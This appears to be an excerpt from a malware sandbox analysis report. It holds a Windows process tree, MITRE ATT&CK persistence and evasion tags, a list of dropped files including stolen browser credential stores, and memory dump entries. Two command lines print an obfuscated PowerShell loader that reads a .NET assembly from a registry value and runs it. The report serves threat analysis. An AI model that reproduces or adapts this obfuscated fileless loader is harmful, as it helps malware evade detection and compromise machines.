C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 2188 -ip 21881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 2188 -ip 21881⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\jvaiahfC:\Users\Admin\AppData\Roaming\jvaiahf1⤵
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6220 -s 20882⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6220 -s 20882⤵
- Program crash
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3676 -ip 36761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3676 -ip 36761⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004BC 0x00000000000004A81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 6220 -ip 62201⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{407b18fa-a96d-4909-a292-db780a2cb8ca}1⤵
-
C:\Users\Admin\AppData\Local\Path\qlpto\IsFixedSize.exeC:\Users\Admin\AppData\Local\Path\qlpto\IsFixedSize.exe1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Modify Registry
3Scripting
1Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
Are.docx
mozglue.dll
nss3.dll
84e06502-9c65-4783-a487-d1986cdfe8ed.tmp
settings.dat
3b3d1ee7-b85a-4df4-b921-23216bea03e2.tmp
the-real-index
the-real-index
the-real-index
CURRENT
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
index.txt
index.txt
index.txt
index.txt~RFe5fde82.TMP
the-real-index
the-real-index~RFe60a3a7.TMP
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity
TransportSecurity~RFe5ca734.TMP
CURRENT
Local State
Local State
Local State
Local State
Local State
Local State
Local State
febaef86-cc36-4f8f-832c-11debd2f0e6b.tmp
ModuleAnalysisCache
ModuleAnalysisCache
ModuleAnalysisCache
ModuleAnalysisCache
ModuleAnalysisCache
IsFixedSize.exe
Www.pif
BBLb.exe
BroomSetup.exe
FE9560.tmp
029375780db860b29c868bb8e790fc388d6a0cce986be2b6af6e0bd5d85a5e31.exe
4c6358aa.exe
Doublepulsar-1.3.1.exe
Everything.exe
GorgeousMovement.exe
InstallSetup2.exe
KB824105-x86-ENU.exe
NancyMfg.exe
Windows.exe
Winlock.exe
X1.exe
_vti_cnf.exe
_wT.exe
adm_atu.exe
baitedupdate.exe
btpc.exe
costa.exe
costa.exe
crpta.exe
crpta.exe
crpta.exe
discord.exe
dmi1dfg7n.exe
file.exe
hv.exe
hv.exe
hv.exe
igfxCUIService%20Module.exe
ladas.exe
ma.exe
ma.exe
more.exe
native.exe
npp86Installerx64.exe
rwtweewge.exe
soft.exe
superz.exe
superz.exe
superz.exe
timeSync.exe
univ.exe
up.exe
Fztcwmdxxqc.tmp
npp.8.6.2.Installer.x64.exe
npp.8.6.2.Installer.x64.exe
InstallSetup3.exe
InstallSetup8.exe
InstallSetup8.exe
Protect544cd51a.dll
VCRUNTIME140.dll
_bz2.pyd
_cffi_backend.cp311-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
base_library.zip
cacert.pem
md.cp311-win_amd64.pyd
md__mypyc.cp311-win_amd64.pyd
INSTALLER
LICENSE
LICENSE.APACHE
LICENSE.BSD
METADATA
RECORD
WHEEL
top_level.txt
_rust.pyd
libcrypto-1_1.dll
libffi-8.dll
libssl-1_1.dll
_sodium.pyd
pyexpat.pyd
python3.dll
python311.dll
select.pyd
unicodedata.pyd
_wrappers.cp311-win_amd64.pyd
_cffi.cp311-win_amd64.pyd
backend_c.cp311-win_amd64.pyd
__PSScriptPolicyTest_4us14amt.f1b.ps1
april.exe
c53cfff621a84792162f70e790980e38.exe
c53cfff621a84792162f70e790980e38.exe
c53cfff621a84792162f70e790980e38.exe
e0cbefcb1af40c7d4aff4aca26621a98.exe
april.tmp
april.tmp
_iscrypt.dll
_isdecmp.dll
information.txt
3b6N2Xdh3CYwplaces.sqlite
8ghN89CsjOW1Login Data For Account
C2dmlpMMZIM23Z9_C9Dl.exe
D87fZN3R3jFeWeb Data
UPG2LoPXwc7OWeb Data
WztGvK8oWrux94ZCpf2i.exe
oOPEmFmu_xsJCookies
x8Ax2NzDqgOYjSNSUPUD.exe
INetC.dll
rty27.exe
websocketconnectionroutine.exe
setting.ini
memory/732-55-0x0000000002850000-0x00000000028CE000-memory.dmp
memory/732-61-0x0000000005300000-0x000000000537C000-memory.dmp
memory/732-62-0x00000000028F0000-0x0000000002900000-memory.dmp
memory/732-56-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/732-243-0x0000000002910000-0x0000000004910000-memory.dmp
memory/732-85-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/732-89-0x0000000002910000-0x0000000004910000-memory.dmp
memory/732-60-0x00000000028F0000-0x0000000002900000-memory.dmp
memory/1020-168-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1020-136-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1020-143-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1472-291-0x0000000000400000-0x000000000040E000-memory.dmp
memory/1476-30-0x00000000055C0000-0x00000000055D0000-memory.dmp
memory/1476-29-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/1476-256-0x0000000007370000-0x0000000007750000-memory.dmp
memory/1476-1105-0x0000000007750000-0x00000000078E2000-memory.dmp
memory/1476-28-0x0000000000550000-0x0000000000ABC000-memory.dmp
memory/1476-165-0x00000000055C0000-0x00000000055D0000-memory.dmp
memory/1476-34-0x0000000005B80000-0x0000000006126000-memory.dmp
memory/1476-152-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/1476-224-0x0000000005830000-0x00000000058C2000-memory.dmp
memory/1872-0-0x0000000000BF0000-0x0000000000BF8000-memory.dmp
memory/1872-1-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/1872-3-0x0000000005670000-0x0000000005680000-memory.dmp
memory/1872-2-0x00000000056B0000-0x000000000574C000-memory.dmp
memory/1872-53-0x0000000005670000-0x0000000005680000-memory.dmp
memory/1872-15-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/2028-151-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/2028-156-0x0000000005610000-0x0000000005676000-memory.dmp
memory/2028-505-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/2028-144-0x0000000000650000-0x0000000000CF6000-memory.dmp
memory/2028-289-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/2188-72-0x0000000000760000-0x0000000000860000-memory.dmp
memory/2188-73-0x00000000006D0000-0x000000000070C000-memory.dmp
memory/2188-212-0x0000000000760000-0x0000000000860000-memory.dmp
memory/2188-74-0x0000000000400000-0x0000000000459000-memory.dmp
memory/2260-137-0x0000000002160000-0x0000000002169000-memory.dmp
memory/2260-130-0x0000000000640000-0x0000000000740000-memory.dmp
memory/2356-501-0x00007FF6D0AA0000-0x00007FF6D0B04000-memory.dmp
memory/2644-184-0x0000000000400000-0x0000000000647000-memory.dmp
memory/2644-16-0x0000000000400000-0x0000000000647000-memory.dmp
memory/2644-57-0x0000000000400000-0x0000000000647000-memory.dmp
memory/2644-14-0x0000000002350000-0x0000000002384000-memory.dmp
memory/2644-208-0x0000000000400000-0x0000000000647000-memory.dmp
memory/2644-13-0x0000000000860000-0x0000000000960000-memory.dmp
memory/2644-93-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/2644-125-0x0000000000860000-0x0000000000960000-memory.dmp
memory/2644-142-0x0000000000400000-0x0000000000647000-memory.dmp
memory/2644-248-0x0000000000400000-0x0000000000647000-memory.dmp
memory/3012-255-0x00000000003F0000-0x0000000000446000-memory.dmp
memory/3012-320-0x0000000004CC0000-0x0000000004CD0000-memory.dmp
memory/3012-503-0x00000000052F0000-0x0000000005908000-memory.dmp
memory/3012-254-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/3296-167-0x0000000000C10000-0x0000000000C26000-memory.dmp
memory/4084-166-0x0000000000400000-0x000000000048D000-memory.dmp
memory/4884-294-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-335-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-228-0x00000000004B0000-0x00000000009FE000-memory.dmp
memory/4884-329-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-264-0x0000000005340000-0x0000000005350000-memory.dmp
memory/4884-331-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-278-0x0000000005BA0000-0x0000000005CD2000-memory.dmp
memory/4884-333-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-298-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-315-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-337-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-340-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-342-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-344-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-306-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-229-0x00000000748B0000-0x0000000075061000-memory.dmp
memory/4884-322-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-310-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4884-319-0x0000000005BA0000-0x0000000005CCD000-memory.dmp
memory/4892-313-0x0000000005740000-0x0000000005741000-memory.dmp
memory/4892-305-0x00000000056C0000-0x00000000056C1000-memory.dmp
memory/4892-318-0x0000000005760000-0x0000000005762000-memory.dmp
memory/4892-268-0x0000000000B40000-0x00000000010E9000-memory.dmp
memory/4892-314-0x00000000056E0000-0x00000000056E1000-memory.dmp
memory/4892-311-0x0000000005700000-0x0000000005701000-memory.dmp
memory/4892-307-0x0000000000B40000-0x00000000010E9000-memory.dmp
memory/4892-309-0x00000000056B0000-0x00000000056B1000-memory.dmp
memory/4892-290-0x0000000077516000-0x0000000077518000-memory.dmp
memory/4892-317-0x0000000005730000-0x0000000005731000-memory.dmp
memory/4892-304-0x0000000005720000-0x0000000005721000-memory.dmp
memory/4892-297-0x00000000056F0000-0x00000000056F1000-memory.dmp
memory/4892-300-0x00000000056D0000-0x00000000056D1000-memory.dmp
memory/5112-75-0x0000000000400000-0x000000000046C000-memory.dmp
memory/5112-77-0x0000000000400000-0x000000000046C000-memory.dmp
memory/5112-78-0x0000000000400000-0x000000000046C000-memory.dmp
memory/5112-82-0x0000000000400000-0x000000000046C000-memory.dmp